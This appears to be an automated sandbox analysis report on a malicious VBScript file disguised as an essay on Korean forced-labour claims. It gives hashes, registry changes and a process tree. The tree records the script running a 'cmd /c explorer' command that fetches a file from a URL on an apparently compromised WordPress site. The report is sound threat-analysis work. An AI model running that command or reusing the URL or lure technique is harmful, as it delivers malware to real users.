Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
136s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
20/04/2024, 06:23
Static task
static1
Behavioral task
behavioral1
Sample
Essay on Resolution of Korean Forced Labor Claims.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Essay on Resolution of Korean Forced Labor Claims.vbs
Resource
win10v2004-20240412-en
General
-
Target
Essay on Resolution of Korean Forced Labor Claims.vbs
-
Size
27KB
-
MD5
75ec9f68a5b62705c115db5119a78134
-
SHA1
6209f948992fd18d4fc6fc6f89d9815369ac8931
-
SHA256
ec9cc1940fe395867f5bab06016920f7194d753ae8cfa331bea0a44ecc8ef7cf
-
SHA512
82a0d96640390b8ffdcecd34fc1ae1663c84a299448a5af02b24bf9b9e1fdd19954ceeeea555808a57fcdc452b2b6e598338f11bb0c7101b34934a8ec7bf1780
-
SSDEEP
384:mrquVS33hr8nIsbSQVwooRmB7+shi14PdSkNk0dRL3K2fJ+QIHBR:mugSBrwIBQVwoI8dSMdBa2fGj
Malware Config
Signatures
-
Blocklisted process makes network request 8 IoCs
flow pid Process 9 1976 WScript.exe 10 1976 WScript.exe 11 1976 WScript.exe 12 1976 WScript.exe 13 1976 WScript.exe 14 1976 WScript.exe 15 1976 WScript.exe 16 1976 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0531e52eb92da01 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002dcc56832ee45b40af0f973e997a3e3e00000000020000000000106600000001000020000000a983c23ab639497ebb35c649500fe6d00b6429ff43b1c6c9e35780aeca49b0dd000000000e80000000020000200000008d9f1a7c83d5957e0037ac3f9e36f0ce45559b95158c58ba34f73b074ff7f2f72000000034953bf40122aef69c55dd838cbbaa648baf364525238137b0ea71994df857df4000000099165855c42c8582fa4e92072395fb5a9db70e05b98d57aaaab1b7322a29288c0e60d01a53c2af3505d62e38bcce1191ffe45bdf8d608cb3b62a767e5312eb93 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{72B9E3E1-FEDE-11EE-92D3-66DD11CD6629} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002dcc56832ee45b40af0f973e997a3e3e0000000002000000000010660000000100002000000079a11f0d72d78b1097c85bc4864b31aaed304df47b67b9aaf358ddba8bd9e31e000000000e800000000200002000000045f487fe0d90c79f34985b5f16e68d7f36fb9678ecaa794148ca46d8c7057cd590000000a474d401a44834f0a57ca552f210a874a0b4741d53bafedc8d941ea8278e92563bfd1a1765d297231ba673ba4e8d1f4f1a2ef1700ab52e5d78baa5c8ec172bd9a25a388f1795a019c3334ac431b78b58c5cd58ff541c1cd60e3f666b6567023e985909d2971fd4337a5ffc6c7f5a89abbd36b92b9dd54a6b1f927a40a3f3cab61c00ed9817e94f5e661f42f7c2ab0b0a4000000050463f3193b6864d15e55a68e0f1107d2e802887d904eb0367fc05a18f45b611d76415cc35f333dc0b07025828d50819c562c3eec12de60dd1969c73fc6081a1 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "419756061" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2108 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2108 iexplore.exe 2108 iexplore.exe 2696 IEXPLORE.EXE 2696 IEXPLORE.EXE 2696 IEXPLORE.EXE 2696 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1976 wrote to memory of 2916 1976 WScript.exe 29 PID 1976 wrote to memory of 2916 1976 WScript.exe 29 PID 1976 wrote to memory of 2916 1976 WScript.exe 29 PID 2916 wrote to memory of 2712 2916 cmd.exe 31 PID 2916 wrote to memory of 2712 2916 cmd.exe 31 PID 2916 wrote to memory of 2712 2916 cmd.exe 31 PID 2716 wrote to memory of 2108 2716 explorer.exe 33 PID 2716 wrote to memory of 2108 2716 explorer.exe 33 PID 2716 wrote to memory of 2108 2716 explorer.exe 33 PID 2108 wrote to memory of 2696 2108 iexplore.exe 34 PID 2108 wrote to memory of 2696 2108 iexplore.exe 34 PID 2108 wrote to memory of 2696 2108 iexplore.exe 34 PID 2108 wrote to memory of 2696 2108 iexplore.exe 34
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Essay on Resolution of Korean Forced Labor Claims.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1976 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c explorer "https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx"2⤵
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\explorer.exeexplorer "https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx"3⤵PID:2712
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2108 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2696
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD566282c8ca284388213520348825c353b
SHA166a1b478dcffb33b8c265727b35795cd50c06dfd
SHA2564772114949565385d157177a42225cdc2bc7ed0e25659d073c7b7eaad735389f
SHA512bb82ec4f53634e80d898d80e16d8503f449eda484301661e8568a55d1918f9a53df0826403a0f80cf5939039e4d745620a1e1b6273c4d3abfcb397257f122cd6
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5fe0747927af0752c23fe8bc457124da9
SHA1b1b5e76aafa6fa8dbad95015b0a59e1f08c35ff6
SHA256a298d650a7baa71ce7ec90a9071efe61003a27c2ce99ff7c9df6a2fd52bcfe89
SHA512e12bc15d7f58c95f20e7dfea2872ae7b5fdcd95fbe8d6debe2911c30403246f8e073a9d4aa441198f8764aff3151aa37308a480a275495e5ff44bfccbf8db47f
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD545fa2fc6750169594cf57a887813deac
SHA186fe43da600a90a64f2d64bc1c7a0ed5e939d2a3
SHA2569d86e7353ca1fb22e07780a9b0800dfcdbd5a83713822c4b05ab1e3109ca16a9
SHA5127d0a5b848ab2792c81858be820ac37cdb203b44a268b0b81a27464d54eff6254eba83cacb20e3ce5f8151d4fa030fed7e35ae3625d40e49714ad0b63117869b0
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD55def8a1bcc1e83bf8878d3bfa334ddca
SHA182ce3273fae9efca651908b119aaa4072ce1af79
SHA256df98a15befba5cc337d47a22e727c469801262598b0f0d7c04ca9cec4219b53d
SHA512e474141368c62efcfb1f0d7f67ee8624e1a40f4dc7bed4e419ad6afa1f6a4a51f625a07e959e2e1f17e891b688aa02432c9478941402dc14c8d4ca7f4a0324eb
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5894c6e9a3c9692bf664c7a5ce3fe87d3
SHA1e848b4c137f46051df995d8a5d451e25ecb85c93
SHA2564b46fa6c28e5d241612de142e28b8d5017352e37f42cbeae4391937d2823cfae
SHA512017bfe4df373af7bdae705445462ae781db0e4c4b7a0a15fcad2f3cc735f08cbb165e976e4f194916f1334c22657de3476c3b112fe17ba676f5017abf11765e1
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a